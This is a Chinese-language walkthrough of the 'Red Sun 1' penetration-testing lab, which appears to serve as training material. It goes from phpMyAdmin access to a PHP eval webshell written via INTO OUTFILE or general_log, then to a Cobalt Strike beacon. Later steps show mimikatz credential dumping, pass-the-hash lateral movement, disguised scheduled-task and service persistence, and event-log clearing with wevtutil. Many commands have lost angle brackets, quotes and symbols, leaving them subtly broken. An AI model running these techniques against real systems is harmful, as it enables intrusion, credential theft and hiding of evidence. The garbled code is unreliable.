红日靶场实战：从PHPMyAdmin到内网渗透的完整攻防演练

1. 项目概述一次完整的渗透测试实战复盘最近在带新人做红日靶场1的实战演练发现很多朋友对从信息收集到最终拿Shell的完整链路理解不够清晰尤其是在面对像PHPMyAdmin这类常见服务时常常卡在最后一步。今天我就以“红日靶场1”这个经典的Web渗透环境为例完整复盘一遍从外网打点到内网横向的实战流程。核心会用到两个工具蚁剑AntSword作为WebShell管理工具以及Cobalt StrikeCS作为内网渗透和权限维持的平台。整个过程我会拆解得非常细特别是如何利用PHPMyAdmin这个看似“安全”的管理后台拿到系统Shell这是很多实战场景中的突破口。这个靶场模拟了一个典型的企业内网环境外部有一台Web服务器作为入口点。我们的目标不仅仅是拿到Web服务器的权限更要以此为跳板深入内网获取域控权限。整个流程涵盖了信息收集、漏洞利用、WebShell上传、权限提升、内网探测、横向移动和权限维持是一次非常贴近真实攻防演练的综合性实战。无论你是刚入门渗透测试的新手还是想梳理一下完整流程的老手这篇复盘都能给你带来一些实操上的启发。2. 环境准备与核心工具解析2.1 靶场与工具环境搭建首先你需要一个可用的红日靶场1环境。通常它是一个以虚拟机VM镜像形式提供的环境你可以使用VMware或VirtualBox导入并运行。确保将虚拟机的网络模式设置为“桥接”或“NAT”使其与你的攻击机Kali Linux或其它渗透测试系统处于同一网段。启动后记下靶机的IP地址这是我们所有攻击的起点。接下来是攻击机的工具准备。核心是两样蚁剑AntSword这是一个开源的跨平台WebShell管理工具图形化界面友好支持多种脚本类型PHP、JSP、ASPX等文件管理、虚拟终端、数据库管理等功能一应俱全。它本质上是一个本地客户端通过一个“加载器”来连接和管理我们上传到目标服务器的WebShell。你需要从GitHub下载其Release版本解压后运行加载器antSword.exe或对应系统的可执行文件首次运行会提示你创建一个空的数据目录。Cobalt StrikeCS这是一个功能强大的商业化渗透测试框架团队服务器常用于模拟高级持续性威胁APT。我们主要利用它的“Beacon” payload进行内网横向移动、权限维持和团队协作。你需要准备CS的团队服务器TeamServer和客户端Client。在Linux攻击机上启动TeamServer然后在任何能连接TeamServer的机器上使用客户端连接。CS的使用涉及授权请确保在合法授权的环境中使用。注意所有工具和靶场仅用于合法的安全学习、测试和授权演练。务必在隔离的虚拟机环境或获得明确授权的网络中进行操作切勿对未授权目标进行任何测试。2.2 工具选型背后的逻辑为什么是蚁剑CS你可能会有疑问WebShell管理工具有很多比如菜刀、冰蝎为什么选蚁剑内网工具也有Metasploit、Empire等为什么是CS这里简单说说我的考量。选择蚁剑的原因开源与活跃蚁剑项目在GitHub上持续更新社区活跃遇到问题容易找到解决方案或插件。跨平台与体验基于Electron开发在Windows、Linux、macOS上都有良好的图形界面操作流畅对新手友好。功能模块化除了基本的文件管理和命令执行还集成了数据库管理、端口扫描、反弹Shell等多种插件很多时候不需要切换其他工具。流量加密支持自定义加密器可以一定程度上规避流量检测设备当然高级WAF和EDR依然能识别特征。选择Cobalt Strike的原因高度集成化CS将信息收集、漏洞利用、横向移动、权限维持、钓鱼攻击等模块高度集成在一个可视化界面中操作流非常顺畅。强大的BeaconBeacon作为后门支持多种通信方式HTTP、HTTPS、DNS、SMB等心跳和任务分离隐蔽性强且内置了丰富的内网渗透命令如portscan,net view,psexec,mimikatz等。团队协作支持多人同时连接一个TeamServer共享会话、目标和日志非常适合团队演练或教学。生态成熟围绕CS有大量的第三方工具、脚本和插件如Aggressor Script扩展性极强。这套组合可以理解为蚁剑是“先锋队”和“后勤部”负责快速建立Web入口、上传文件、管理ShellCS是“特种部队”和“指挥中心”负责深入敌后、长期潜伏、执行复杂的内网任务。两者通过一个简单的“上线”操作进行衔接流程非常自然。3. 外部打点信息收集与漏洞利用3.1 靶标信息收集与初步探测假设我们通过扫描发现靶机IP为192.168.1.100。第一步永远是信息收集这决定了后续攻击的效率和方向。端口扫描使用nmap进行全端口扫描快速了解靶机开放了哪些服务。nmap -sS -sV -p- 192.168.1.100 -oA redsun_initial-sS是SYN半开扫描-sV探测服务版本-p-扫描所有65535个端口-oA输出所有格式的报告。扫描结果可能会显示开放了80HTTP、3306MySQL、21FTP等端口。Web目录扫描针对80端口的Web服务使用dirsearch或gobuster进行目录爆破寻找后台、敏感文件等。dirsearch -u http://192.168.1.100 -e php,html,asp,aspx,jsp -t 50这个步骤非常关键我们可能会发现/admin/,/phpmyadmin/,/upload/,/backup/等目录甚至是robots.txt、index.php.bak等泄露敏感信息的文件。Web应用指纹识别访问http://192.168.1.100通过浏览器开发者工具查看响应头、Cookie、HTML注释或者使用whatweb工具识别网站使用的CMS、框架、中间件版本如ThinkPHP, WordPress, Apache版本等。已知漏洞往往存在于特定版本中。在我的这次演练中扫描发现目标开放了80端口运行着Apache和PHP。目录扫描成功发现了/phpmyadmin/目录这是一个重大突破口。3.2 PHPMyAdmin漏洞利用与WebShell获取访问http://192.168.1.100/phpmyadmin/我们看到了熟悉的登录界面。常见的攻击思路有弱口令爆破、已知漏洞利用如CVE-2016-5734, CVE-2018-12613等。但红日靶场1通常设计为存在配置缺陷或逻辑漏洞。情景假设我们通过信息收集或弱口令如root/root成功进入了PHPMyAdmin管理后台。现在目标是在服务器上写入一个WebShell。方法利用“SELECT ... INTO OUTFILE”语句写文件这是MySQL的一个特性前提是当前数据库用户拥有FILE权限并且MySQL服务对目标目录有写权限同时secure_file_priv系统变量没有限制写入路径为空或指向特定目录。检查权限在PHPMyAdmin的SQL执行窗口中运行SHOW VARIABLES LIKE secure_file_priv; SELECT file_priv FROM mysql.user WHERE user CURRENT_USER();如果secure_file_priv的值为空并且file_priv为Y则具备写文件条件。常见的Web目录如/var/www/html可能是可写的。写入WebShell假设我们知道网站根目录是/var/www/html我们可以执行以下SQL语句写入一个最简单的PHP一句话木马。SELECT ?php eval($_POST[ant]);? INTO OUTFILE /var/www/html/shell.php这条命令会将PHP代码写入到/var/www/html/shell.php文件中。$_POST[ant]是我们后续连接时使用的密码。访问验证在浏览器中访问http://192.168.1.100/shell.php。如果页面空白没有报错通常意味着文件写入成功且可访问。我们可以用一个简单的POST请求测试比如使用curlcurl -X POST http://192.168.1.100/shell.php -d antecho Hello World;如果返回了“Hello World”说明WebShell执行成功。实操心得在实际环境中secure_file_priv常常被设置为NULL禁止导出或特定目录。如果被禁止可以尝试通过PHPMyAdmin的“日志”功能、慢查询日志、或利用general_log等技巧来写Shell但难度会增大。另外写入路径需要准确可以通过查询datadir等变量或利用Web应用本身的文件上传、编辑功能进行结合。4. 建立据点蚁剑连接与初步控制4.1 蚁剑配置与WebShell连接拿到WebShell地址 (http://192.168.1.100/shell.php) 和连接密码 (ant) 后我们打开蚁剑。添加数据在蚁剑主界面右键点击空白处或点击“添加”按钮。在弹出的窗口中填写URL地址http://192.168.1.100/shell.php连接密码ant即我们写在Shell中的POST参数名编码器默认选择default不编码。如果目标有防护可以尝试base64,rot13等编码器来绕过简单的WAF检查。备注可以填写“红日靶场-Web入口”以便识别。测试连接点击“添加”后蚁剑会尝试连接。如果左下角状态显示“连接成功”并且右侧文件管理器出现了目标服务器的目录结构通常是Web根目录恭喜你第一步据点建立成功。虚拟终端双击新添加的Shell在左侧文件管理器上方选择“虚拟终端”。尝试执行一些基本命令如whoami,pwd,ifconfig或ipconfigWindows来确认当前权限和网络环境。在红日靶场中此时你很可能只是一个低权限的Web服务用户如www-data,apache。4.2 信息收集与权限提升尝试通过蚁剑的虚拟终端和文件管理功能我们可以进行更深度的信息收集为后续的权限提升和内网渗透做准备。系统信息uname -a # 查看内核版本 cat /etc/issue 或 cat /etc/*release # 查看系统发行版 cat /proc/version用户与权限id # 当前用户详细信息 whoami # 当前用户名 sudo -l # 查看当前用户可以以root身份执行哪些命令需要密码 cat /etc/passwd # 查看所有用户网络信息ifconfig 或 ip addr # 查看网卡和IP netstat -antup 或 ss -tulnp # 查看网络连接和监听端口 arp -a # 查看ARP缓存 route -n # 查看路由表 cat /etc/resolv.conf # 查看DNS配置寻找提权线索SUID文件查找设置了SUID位的可执行文件这些文件运行时拥有文件所有者的权限。find / -perm -us -type f 2/dev/null内核漏洞根据收集到的内核版本搜索公开的本地提权LPE漏洞如DirtyCow, CVE-2021-4034等。可以使用linux-exploit-suggester等脚本辅助检查。密码与配置文件在Web目录、用户家目录、/tmp、/var/backups等位置寻找配置文件如config.php,.env、数据库备份文件、历史命令.bash_history里面可能包含数据库密码、SSH密钥等敏感信息。在红日靶场1的典型场景中你可能发现服务器上运行着MySQL并且通过之前PHPMyAdmin的登录你已经拥有了数据库的root密码。有时Web应用的配置文件中就明文写着这个密码。如果这个MySQL的root用户密码与系统root用户密码相同糟糕的安全实践但在一些环境中存在或者可以通过MySQL的UDF用户自定义函数提权到系统root这就是一条提权路径。5. 内网渗透CS Beacon上线与横向移动5.1 生成Payload与蚁剑上传当我们通过蚁剑获得了稳定的WebShell并且收集到内网信息发现内网还有其他主机后就需要建立一个更强大、更隐蔽的持久化控制通道。这就是Cobalt Strike的Beacon出场的时候。在CS中生成Payload打开Cobalt Strike客户端连接到你的TeamServer。点击顶部菜单Attacks-Packages-Windows Executable(或Windows Executable (S)用于无状态Stageless Payload)。选择x64或x86架构Listener选择你事先创建好的一个例如http或httpslistener。点击Generate生成一个.exe后门文件。对于Linux目标我们需要生成一个Linux的ELF格式后门。CS原生不支持图形化生成Linux Beacon但我们可以通过Cross C2等插件或者在TeamServer上用c2lint工具配合agscript来生成。更简单的方法是使用msfvenom生成一个Linux的Meterpreter反向Shell然后通过msf的exploit/multi/handler接收再通过meterpreter的payload_inject模块将CS的Beacon DLL注入到目标进程。这里为了流程连贯我们假设目标是一台Windows主机红日靶场内网中常见。通过蚁剑上传Payload在蚁剑的文件管理器中导航到一个有写权限的目录如/tmp(Linux) 或C:\Windows\Temp(Windows)。将本地生成的.exe文件上传到该目录。通过蚁剑执行Payload在蚁剑的虚拟终端中切换到上传目录并执行该.exe文件。cd C:\Windows\Temp beacon.exe如果目标系统有杀毒软件直接执行可能会被拦截。此时需要做免杀处理例如使用加壳工具、编码器、或自己编译修改Payload。这是一个深水区本篇不展开。5.2 Beacon上线与内网探测当你在蚁剑中执行了beacon.exe后回到Cobalt Strike客户端稍等片刻你应该能在Views-Targets或者主界面的会话列表中看到一个新的上线主机Session。它的图标会从灰色变成彩色。与Beacon交互右键点击上线的会话选择Interact会打开一个Beacon命令行窗口。在这里你可以输入各种命令。基础信息收集内网视角在Beacon中执行shell ipconfig /all # Windows下查看详细网络配置 # 或者对于Linux Beacon shell ifconfignet view # 查看当前域或工作组中的机器列表Windowsping -n 1 192.168.52.10 # 探测内网另一台主机是否存活假设内网网段是192.168.52.0/24内网主机发现CS内置了端口扫描功能。在Beacon中你可以使用portscan命令但更常用的是图形化操作。在CS主界面选中你的Beacon会话点击顶部Attacks-Scan输入内网网段如192.168.52.0/24和端口范围如1-1024或常见端口22,80,135,139,445,3389选择扫描器类型如arp扫描存活主机portscan扫描端口然后开始扫描。扫描结果会在View-Targets中以列表形式呈现。5.3 横向移动技术实战假设我们通过扫描发现内网有一台IP为192.168.52.10的主机开放了445端口SMB很可能是一台Windows主机。凭证窃取首先我们需要获取能在内网进行认证的凭证。在已经控制的跳板机第一台Web服务器上如果它是Windows且是域成员我们可以尝试使用mimikatz抓取内存中的密码哈希或明文密码。在CS的Beacon中输入mimikatz命令它会自动注入mimikatz并运行一些常用命令如privilege::debug,sekurlsa::logonpasswords。输出结果会显示当前系统登录用户的密码哈希NTLM hash甚至可能是明文密码。或者使用更专业的命令logonpasswords。哈希传递攻击Pass-the-Hash, PTH如果我们抓取到了目标内网机器192.168.52.10的本地管理员或域用户的NTLM哈希并且该机器未启用受限管理员模式或相应的防护我们可以直接使用这个哈希进行横向移动而无需破解密码。在CS中右键点击目标主机192.168.52.10选择Jump-psexec或psexec64。在弹出的对话框中Listener选择你的Beacon监听器Credentials部分选择Use a username and has填入你抓取到的用户名和对应的NTLM哈希去掉LM hash部分通常全是0。点击Launch如果成功你将会获得一个通往192.168.52.10的新Beacon会话。利用漏洞横向移动如果目标机器存在已知的远程漏洞如MS17-010 EternalBlue也可以利用。CS集成了部分漏洞利用模块。你可以通过Attacks-Packages-Windows Exploit选择对应的漏洞生成利用程序然后通过已有的Beacon会话上传并执行。但这种方式动静较大容易被发现。SMB Beacon这是一种更隐蔽的横向移动方式。它利用Windows的命名管道Named Pipe在已控主机和未控主机之间建立通信新的Beacon流量通过已控主机的SMB会话“隧道”出来隐蔽性更强。配置相对复杂需要先设置一个SMB的Listener然后在psexec跳板时选择这个SMB Listener。通过以上一种或多种组合我们可以在内网中从一个点逐步扩散控制更多的主机。红日靶场1的内网通常设计有域环境最终目标往往是获取域控制器的权限。6. 权限维持与痕迹清理6.1 持久化后门部署拿到权限不是终点如何让我们的访问权限在目标重启、用户登出后依然存在是渗透测试的重要环节。Cobalt Strike提供了多种持久化方法。计划任务Scheduled Task这是Windows系统最常用的持久化手段之一。在Beacon中可以使用schtasks命令创建计划任务定期执行我们的后门。schtasks /create /tn WindowsUpdateCheck /tr C:\Windows\Temp\beacon.exe /sc hourly /mo 1 /f这条命令创建一个每小时运行一次beacon.exe的计划任务。在CS图形界面也可以通过Explore-Process List找到目标进程右键Spawn到某个Listener然后在Session菜单选择Make Token或Run As来以其他用户身份运行持久化任务。服务Service将后门注册为系统服务随系统启动。sc create WinSvcUpdate binPath C:\Windows\Temp\beacon.exe start auto sc start WinSvcUpdate使用CS的psinject或spawn as功能可以更方便地注入到稳定进程如svchost.exe中。启动项Startup将后门或快捷方式放入用户的启动文件夹C:\Users\用户名\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup或系统的启动文件夹。WMI事件订阅一种高级的、无文件fileless的持久化技术通过WMI过滤器Filter和消费者Consumer绑定在特定系统事件如用户登录、特定时间间隔触发执行Payload。CS的aggressor script中有现成的脚本可以实现。注意事项持久化操作会留下明显的痕迹如新的计划任务、服务、文件在真实的对抗演练中需要权衡隐蔽性和必要性。同时要避免在同一个系统中部署过多不同类型的后门增加暴露风险。6.2 操作痕迹清理在演练结束或需要隐藏行踪时清理痕迹是必要的。但请注意在真实环境中高水平的防守方可以通过审计日志、EDR等手段发现清理行为本身。清理日志Windows使用wevtutil命令清除事件日志。shell wevtutil cl System shell wevtutil cl Security shell wevtutil cl Application或者在Beacon中直接使用clearev命令。Linux清理/var/log/目录下的相关日志如auth.log,secure,messages以及命令历史~/.bash_history。但直接删除文件可能引起管理员警觉更隐蔽的方法是选择性清空或篡改。删除上传的工具和文件通过蚁剑或Beacon的文件管理功能删除之前上传的WebShell (shell.php)、Payload (beacon.exe)、以及其他临时工具。恢复配置如果修改了系统配置如防火墙规则、服务设置应尽量恢复原状。清除内存中的敏感信息退出前在Beacon中使用shinject或kill命令结束注入的进程。但注意kill命令会结束Beacon会话本身。重要提醒痕迹清理并非万能特别是面对部署了完整安全信息与事件管理SIEM系统的环境很多操作会被实时记录并告警。因此在蓝队防守完善的今天“隐身”和“慢速”操作比事后清理更重要。7. 常见问题与排查技巧实录在实际操作中你肯定会遇到各种各样的问题。这里我记录了几个最典型的场景和解决思路。7.1 PHPMyAdmin写Shell失败排查问题执行INTO OUTFILE语句时返回错误如#1045 - Access denied或#1290 - The MySQL server is running with the --secure-file-priv option。排查权限问题确认当前MySQL用户拥有FILE权限。执行SELECT file_priv FROM mysql.user WHERE user CURRENT_USER();查看。secure_file_priv限制执行SHOW VARIABLES LIKE secure_file_priv;。如果值不是空则只能向该指定目录写入。你需要找到这个目录可能是/tmp或/var/lib/mysql-files/并尝试写入。如果值为NULL则禁止导出此路不通。目录权限MySQL进程通常是mysql用户需要对目标目录有写权限。尝试写入/tmp目录因为它通常对所有用户可写。路径错误Web根目录路径可能不是猜测的/var/www/html。可以通过查询basedir或datadir推测或者利用PHP的phpinfo()页面查找_SERVER[“DOCUMENT_ROOT”]信息。备用方案利用日志文件开启MySQL的通用查询日志将Shell代码写入日志文件然后访问日志文件。SET global general_log on; SET global general_log_file /var/www/html/shell.php; SELECT ?php eval($_POST[cmd]);?; SET global general_log off;利用PHPMyAdmin的SQL执行历史某些旧版本或特定配置的PHPMyAdmin会将SQL语句记录在数据库中或会话中可能造成二次注入但概率较低。7.2 蚁剑连接成功但无法执行命令问题蚁剑显示连接成功文件管理器能看到目录但虚拟终端执行命令无回显或报错。排查禁用函数PHP可能禁用了system,shell_exec,exec,passthru等危险函数。在蚁剑的“文件管理”中找到网站目录下的PHP文件编辑并添加?php phpinfo();?访问该页面搜索disable_functions查看哪些函数被禁用。解决方案使用未被禁用的函数如popen()/proc_open()或者用PHP代码调用其他语言如Perl, Python。使用蚁剑的“绕过禁用函数”插件如果有对应环境的。上传一个自定义的、用其他语言编写的WebShell如.jsp,.aspx如果服务器支持。权限问题当前Web用户权限极低可能无法执行某些命令或访问某些目录。尝试使用sudo -l查看是否可以免密执行某些高权限命令。7.3 Cobalt Strike Beacon不上线问题在蚁剑中执行了生成的.exe但CS客户端迟迟看不到会话上线。排查网络连通性首先确保你的TeamServer IP和端口能被靶机访问到。在靶机上用蚁剑的虚拟终端执行telnet 你的CS服务器IP 监听端口或curl http://你的CS服务器IP:端口测试连通性。如果靶机在内网你的CS服务器需要在公网或有路由可达。监听器配置检查CS的Listener配置是否正确特别是Bind to的IP地址应为0.0.0.0或你的服务器具体IP端口是否被防火墙阻挡。Payload类型确认生成的Payload架构x86/x64与目标系统匹配。32位Payload可以在64位系统上运行但反之不行。杀软拦截这是最常见的原因。Payload可能被目标主机上的杀毒软件静态或动态查杀。需要做免杀处理。Session丢失如果Beacon是Stager分阶段类型它可能成功运行并下载了Stage2但Stage2在内存中执行时被拦截。尝试生成Stageless PayloadWindows Executable (S)。查看Beacon日志在CS客户端点击View-Event Log这里会记录一些错误信息如连接失败等。7.4 横向移动时PsExec失败问题使用抓取的哈希进行PsExec横向移动时失败。排查目标主机防火墙目标主机192.168.52.10的防火墙可能阻止了445端口SMB或135端口WMI的访问。尝试在已控主机上ping和telnet测试端口。管理员共享关闭目标主机的ADMIN$共享可能被关闭。这是PsExec复制文件所必需的。UAC限制即使使用本地管理员哈希如果目标系统启用了UAC用户账户控制远程PsExec可能无法获取高完整性令牌。可以尝试使用psexec_pshPowerShell版本或wmi跳板方式。哈希无效或用户权限不足抓取的哈希可能不是目标机器的本地管理员或域管理员哈希。确认用户名和哈希对应关系正确并且该用户在目标机器上有管理员权限。被防护软件拦截目标主机可能安装了终端防护EDR软件拦截了远程服务创建或进程注入行为。面对这些问题渗透测试就是一个不断迭代、尝试和绕过的过程。没有一成不变的通法关键在于对原理的理解、信息的收集和工具链的灵活运用。每次遇到问题并解决它都是对你技术栈的一次重要扩充。